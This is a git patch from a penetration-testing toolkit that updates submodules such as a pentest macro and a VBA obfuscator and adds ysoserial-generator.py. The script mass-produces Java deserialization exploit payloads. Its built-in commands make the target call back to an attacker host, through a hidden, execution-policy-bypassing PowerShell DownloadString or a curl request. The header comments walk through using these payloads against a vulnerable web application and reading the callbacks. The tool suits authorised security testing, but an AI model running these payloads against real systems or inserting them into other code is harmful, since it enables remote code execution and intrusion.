From 9abaa572f3346025000f67d2e3717c77950bb230 Mon Sep 17 00:00:00 2001 From: Mariusz B Date: Wed, 2 May 2018 01:48:06 +0200 Subject: [PATCH] Updated submodules and added ysoserial-generator.py --- social-engineering/RobustPentestMacro | 2 +- social-engineering/VisualBasicObfuscator | 2 +- web/burpContextAwareFuzzer | 2 +- web/tomcatWarDeployer | 2 +- web/ysoserial-generator.py | 441 +++++++++++++++++++++++ 5 files changed, 445 insertions(+), 4 deletions(-) create mode 100755 web/ysoserial-generator.py diff --git a/social-engineering/RobustPentestMacro b/social-engineering/RobustPentestMacro index eb9621e..32992ad 160000 --- a/social-engineering/RobustPentestMacro +++ b/social-engineering/RobustPentestMacro @@ -1 +1 @@ -Subproject commit eb9621e5aa4cb563a7370a72ce8b41b6dd1c2c02 +Subproject commit 32992adea5369e661eea6fabbbc95b8284cc2959 diff --git a/social-engineering/VisualBasicObfuscator b/social-engineering/VisualBasicObfuscator index 4fb3946..80e7515 160000 --- a/social-engineering/VisualBasicObfuscator +++ b/social-engineering/VisualBasicObfuscator @@ -1 +1 @@ -Subproject commit 4fb3946a2f1d9ae7e444bccca6eea7e78b2c3480 +Subproject commit 80e7515ed6aff631b3449e654b67988b1f01baa4 diff --git a/web/burpContextAwareFuzzer b/web/burpContextAwareFuzzer index 33e77f0..9c45287 160000 --- a/web/burpContextAwareFuzzer +++ b/web/burpContextAwareFuzzer @@ -1 +1 @@ -Subproject commit 33e77f015eae07ae63d9b0464f135d594b4a558e +Subproject commit 9c45287644d5cdc6f7b0433e09b12a6b7901ea97 diff --git a/web/tomcatWarDeployer b/web/tomcatWarDeployer index 524ab11..f1fa7ef 160000 --- a/web/tomcatWarDeployer +++ b/web/tomcatWarDeployer @@ -1 +1 @@ -Subproject commit 524ab119a4bb7f79fe8a74b500c14e9334f7c4a2 +Subproject commit f1fa7ef39ef4bb402b196e17e734eb852a7102e0 diff --git a/web/ysoserial-generator.py b/web/ysoserial-generator.py new file mode 100755 index 0000000..53de481 --- /dev/null +++ b/web/ysoserial-generator.py @@ -0,0 +1,441 @@ +#!/usr/bin/python + +# +# This tool helps fuzzing applications that use Java serialization under the hood, by +# automating `ysoserial` proof-of-concept tool for generating payloads that +# exploit unsafe Java object deserialization. +# +# This tool generates every possible payload for every implemented gadget, thus +# resulting in number of payload files (or one file with number of lines), being +# URL/Base64 encoded along the way or not - which can be later used for manual +# penetration testing assignments like pasting that file to BurpSuite intruder, or +# enumerating every payload from within bash/python script. +# +# Example use case: +# 1. Download, compile and launch example vulnerable application like: +# https://github.com/hvqzao/java-deserialize-webapp +# +# 2. Start local HTTP server, for instance: +# ----------------------------------------- +# $ python -m SimpleHTTPServer +# Serving HTTP on 0.0.0.0 port 8000 ... +# ----------------------------------------- +# +# 3. Generate payloads to test against that application: +# ----------------------------------------- +# $ ./mass-ysoserial.py -u -b -y ~/tools/ysoserial/ysoserial.jar -s --lhost 192.168.56.1:8000 +# :: ysoserial payloads generation helper +# Helps generate many variations of payloads to try against vulnerable application. +# Mariusz B. / mgeeky '18, +# v0.1 +# +# [+] Command within payload: +# "powershell.exe -WindowStyle hidden -ExecutionPolicy Bypass -nologo -noprofile -c ((New-Object Net.WebClient).DownloadString('http://192.168.56.1:8000/...'))" +# [+] Command within payload: +# "curl -k -s http://192.168.56.1:8000/..." +# ----------------------------------------- +# +# 4. Capture example POST request to that application from within Burp. +# +# 5. Now paste resulting file 'ysoserial-payloads.txt' into BurpSuite intruder's Simple list and hit "Start attack" +# +# 6. Watch your SimpleHTTPServer logs: +# ----------------------------------------- +# $ python -m SimpleHTTPServer +# Serving HTTP on 0.0.0.0 port 8000 ... +# 192.168.56.128 - - [02/May/2018 01:20:58] code 404, message File not found +# 192.168.56.128 - - [02/May/2018 01:20:58] "GET /CommonsCollections2-linux HTTP/1.1" 404 - +# 192.168.56.128 - - [02/May/2018 01:20:58] code 404, message File not found +# 192.168.56.128 - - [02/May/2018 01:20:58] "GET /CommonsCollections4-linux HTTP/1.1" 404 - +# 192.168.56.128 - - [02/May/2018 01:20:58] code 404, message File not found +# 192.168.56.128 - - [02/May/2018 01:20:58] "GET /Jdk7u21-linux HTTP/1.1" 404 - +# ----------------------------------------- +# +# 7. You've just found that gadgets: CommonsCollections2, CommonsCollections4 and Jdk7u21 have launched successfully against vulnerable web application. +# +# +# Author: +# Mariusz B., '18 / +# + +import os +import re +import sys +import base64 +import urllib +import commands +import argparse +from sys import platform + +VERSION = '0.1' + +config = { + 'verbose' : True, + 'debug' : True, + + 'ysoserial-path' : '', + 'command' : '', + + # Do not modify below ones + 'gadgets': [], + 'output': '', + 'lhost': '', + 'base64': False, + 'urlencode': False, + 'onefile': False, + 'predefined': False, + 'predefined-cmd': '', + 'platform' : '', + 'separate-by-semicolons': True, +} + +predefined = { + 'ping': { + 'windows' : 'ping -n 1 {host}', + 'linux' : 'ping -c 1 -p {data} {host}', + }, + + 'http': { + 'windows' : 'powershell.exe -WindowStyle hidden -ExecutionPolicy Bypass -nologo -noprofile -c ((New-Object Net.WebClient).DownloadString(\'{host}/{data}\'))', + 'linux' : 'curl -k -s {host}/{data}', + } +} + +# +# These gadgets await for non-standard arguments like: +# host:port, write;destDir;ascii-data, localpath:remotepath and so on. +# +skipGadgets = ( + 'Wicket1', 'FileUpload1', 'JRMPClient', 'JRMPListener', 'Jython1', 'Myfaces2', + 'URLDNS', 'C3P0' +) + +warnCmdOnce = False +generated = 0 +firstLaunch = True + +commandsSoFar = set() + +class Logger: + @staticmethod + def _out(x): + if config['debug'] or config['verbose']: + sys.stdout.write(x + '\n') + + @staticmethod + def dbg(x): + if config['debug']: + sys.stdout.write('[dbg] ' + x + '\n') + + @staticmethod + def out(x): + Logger._out('[.] ' + x) + + @staticmethod + def info(x): + Logger._out('[?] ' + x) + + @staticmethod + def err(x): + sys.stdout.write('[!] ' + x + '\n') + + @staticmethod + def fail(x): + Logger._out('[-] ' + x) + + @staticmethod + def ok(x): + Logger._out('[+] ' + x) + +def getFileName(name, gadget): + global firstLaunch + + ext = 'bin' + if config['base64'] or config['urlencode']: + ext = 'txt' + + if config['onefile']: + if config['output'] and config['output'] != '-': + return config['output'] + elif config['output'] == '-': + return '' + elif not config['output']: + p = 'ysoserial-payloads.{ext}'.format(ext = ext) + + if os.path.isfile(p) and firstLaunch: + Logger.err('Output file ("{}") already exists: unable to continue.'.format(p)) + sys.exit(1) + + firstLaunch = False + return p + else: + path = '' + out = 'ysoserial-{gadget}-{name}-payload.{ext}'.format( + name=name, gadget=gadget, ext=ext + ) + + if config['output'] != '-': + path = config['output'] + return os.path.join(path, out) + else: + return out + +def processCmd(cmd, name, gadget): + global warnCmdOnce + global commandsSoFar + + cmd2 = cmd + Logger.dbg('Command before processing:\n{}\n'.format(cmd)) + + data = '{gadget}-{name}'.format( + gadget = gadget, name = name + ) + + lhost = config['lhost'] + + if not warnCmdOnce: + notWorking = ['|', '&', '<', '>', ';'] + for n in notWorking: + if n in cmd: + warnCmdOnce = True + Logger.fail('WARNING: Your command contains character that will prevent your payload from running correctly: "{}". Remember shortcomings of Java\'s "Runtime.getRuntime().exec(...)" function: you cannot use apostrophes, quotes, pipes, ampersands and so on. One can refer to following article for more informations: https://bit.ly/2JLvdCv '.format(n)) + break + + if 'data' in cmd: + if config['predefined'] and config['predefined-cmd'] == 'ping': + data = ''.join(['{:02x}'.format(ord(x)) for x in data[:16]]) + + if config['predefined'] and config['predefined-cmd'] == 'http': + if not lhost.startswith('http'): + lhost = 'http://' + lhost + + cmd2 = cmd2.format(data = data, host = lhost) + + elif 'host' in cmd: + cmd2 = cmd2.format(host = lhost) + + Logger.dbg('Command after processing:\n{}\n'.format(cmd2)) + + cmd3 = cmd2.replace(data, '...') + if cmd3 not in commandsSoFar: + sys.stderr.write('[+] Command within payload:\n\t"{}"\n'.format(cmd3)) + commandsSoFar.add(cmd3) + + return cmd2 + +def generate(name, cmd): + global generated + + for gadget in config['gadgets']: + if gadget in skipGadgets: + Logger.dbg('Skipping gadget {}...'.format(gadget)) + continue + + Logger.info('Generating ' + gadget + ' for "' + name + '"...') + + filename = getFileName(name, gadget) + + redir = '' + if not config['debug']: + redir = '2>NULL_STREAM' + + cmd2 = processCmd(cmd, name, gadget) + out = shell('java -jar {ysoserial} {gadget} "{command}" {redir}'.format( + ysoserial = config['ysoserial-path'], + gadget = gadget, + command = cmd2, + redir = redir + ), True) + + if config['base64']: + out = base64.b64encode(out) + + if out != "": + if config['urlencode']: + out = urllib.quote_plus(out) + + if out != "": + if filename == '': + print(out + '\n') + else: + mode = 'w' + if config['onefile']: + Logger.dbg('Appending payload to the file: "{}"'.format(filename)) + mode = 'a' + else: + Logger.ok('Writing payload to the file: "{}"'.format(filename)) + + open(filename, mode).write(out + '\n') + generated += 1 + else: + Logger.err('Failed generating payload {}-{} for cmd: "{}"'.format( + gadget, name, cmd2 + )) + +def processShellCmd(cmd): + replaces = { + 'NULL_STREAM' : { + 'windows': 'nul', + 'linux': '/dev/null' + }, + 'WHICH_COMMAND' : { + 'windows': 'where', + 'linux': 'which' + }, + } + + for k, v in replaces.items(): + if k in cmd: + cmd = cmd.replace(k, v[config['platform']]) + + return cmd + +def shell(cmd, noOut = False): + cmd = processShellCmd(cmd) + out = commands.getstatusoutput(cmd)[1] + if not noOut: + Logger.dbg('shell("{}") returned:\n"{}"'.format(cmd, out)) + else: + Logger.dbg('shell("{}")\n'.format(cmd)) + return out + +def tryToFindYsoserial(): + global config + if config['ysoserial-path']: + return True + + out = shell('WHICH_COMMAND ysoserial.jar 2>NULL_STREAM') + + if out and os.path.isfile(out): + config['ysoserial-path'] = out + elif os.path.isfile('ysoserial.jar'): + config['ysoserial-path'] = 'ysoserial.jar' + else: + Logger.err('Could not find "ysoserial.jar" in neither PATH nor current directory.') + Logger.err('Please specify where to find "ysoserial.jar" using "-y" option.') + sys.exit(1) + + return True + +def collectGadgets(): + global config + + out = shell('java -jar {} --help'.format(config['ysoserial-path'])) + rex = re.compile(r'^\s+(\w+)\s+@\w+.+', re.I|re.M) + gadgets = rex.findall(out) + Logger.info('Available gadgets ({}): {}\n'.format(len(gadgets), ", ".join(gadgets))) + + config['gadgets'] = gadgets + + if not gadgets: + Logger.err('Could not interpret ysoserial.jar output and thus could not collect available gadgets!') + sys.exit(1) + +def parseOptions(argv): + global config + + print(''' + :: ysoserial payloads generation helper + Helps generate many variations of payloads to try against vulnerable application. + Mariusz B. / mgeeky '18, + v{} +'''.format(VERSION)) + + parser = argparse.ArgumentParser(prog = argv[0], usage='%(prog)s [options] ') + + parser.add_argument('-t', '--lhost', default='127.0.0.1', help = 'Specifies attacker\'s host IP or FQDN to connect back to within predefined payload\'s command (like ping, http). If you are about to use predefined "http" payload - remember to specify whether it is http or https. Default: http://127.0.0.1') + + parser.add_argument('-C', '--predefined', metavar='CMD', default='', choices=predefined.keys(), help='(Default, http) Use one of the predefined OS-agnostic commands: {}'.format(', '.join(predefined.keys()))) + + parser.add_argument('-c', '--command', metavar='CMD', default='', help='Specifies custom command to include within serialized payloads. Remember shortcomings of Java\'s Runtime.getRuntime().exec(...) function: you cannot use apostrophes, quotes, pipes, ampersands and so on. You can use however semicolons (;) - having specified two commands (like: ifconfig ; uname -a) will result in generating TWO payloads. For other nuances, one can refer to following article for more informations: https://bit.ly/2JLvdCv') + + parser.add_argument('-b', '--base64', action='store_true', help='Base64 encode every generated payload (default: False).') + + parser.add_argument('-u', '--urlencode', action='store_true', help='URL encode every generated payload (default: False).') + + parser.add_argument('-S', '--semicolons', action='store_false', default=True, help='If used "--command" option and used semicolons in it, specifies to not to separate that command to several ones by semicolons (default: True).') + + parser.add_argument('-o', '--output', metavar='FILE|DIR', help='Specifies output filename, if --onefile was used or directory name otherwise. One can use "-" to output to the stdout (assuming --onefile was used).') + + parser.add_argument('-s', '--onefile', action='store_true', help='Output every generated payload to the same file, starting from newline. Makes sense to use with base64 encoding option set (default: False).') + + parser.add_argument('-y', '--ysoserial', metavar='PATH', default='', help='Specifies path to ysoserial.jar file to use. If left empty, will try the one from current directory (or PATH environment variable)') + + parser.add_argument('-v', '--verbose', action='store_true', help='Display verbose output.') + parser.add_argument('-d', '--debug', action='store_true', help='Display debug output.') + + args = parser.parse_args() + + config['verbose'] = args.verbose + config['debug'] = args.debug + config['onefile'] = args.onefile + config['base64'] = args.base64 + config['urlencode'] = args.urlencode + config['lhost'] = args.lhost + config['separate-by-semicolons'] = args.semicolons + + if platform == 'linux' or platform == 'linux2': + config['platform'] = 'linux' + elif platform == 'win32' or platform == 'win64': + config['platform'] = 'windows' + + Logger.dbg('Found platform: {}'.format(platform)) + + if args.command and args.predefined: + Logger.err('Options "--predefined" and "--command" are mutually exclusive! Please specify only one of them.') + sys.exit(1) + + if not args.command: + config['predefined'] = True + if not args.predefined: + config['predefined-cmd'] = 'http' + else: + config['predefined-cmd'] = args.predefined + + if config['lhost'] == '127.0.0.1': + Logger.fail('WARNING: You did not specify "--lhost" parameter to connect back to your attacker-host. Currently used value is 127.0.0.1\n') + else: + config['command'] = args.command + + if args.output: + config['output'] = args.output + + if os.path.isfile(args.output): + Logger.err('Output file already exists: unable to continue.') + sys.exit(1) + + if args.ysoserial: + config['ysoserial-path'] = args.ysoserial + else: + tryToFindYsoserial() + + return args + +def main(argv): + global config + + opts = parseOptions(argv) + if not opts: + Logger.err('Options parsing failed.') + return False + + collectGadgets() + + if config['command']: + if ';' in config['command'] and config['separate-by-semicolons']: + Logger.info('Separating input command by semicolons...') + + num = 0 + for cmd in config['command'].split(';'): + num += 1 + generate('custom-cmd{}'.format(num), cmd) + else: + generate('custom', config['command']) + else: + generate('windows', predefined[config['predefined-cmd']]['windows']) + generate('linux', predefined[config['predefined-cmd']]['linux']) + + Logger.info('Generated: {} payloads.'.format(generated)) + +if __name__ == '__main__': + main(sys.argv)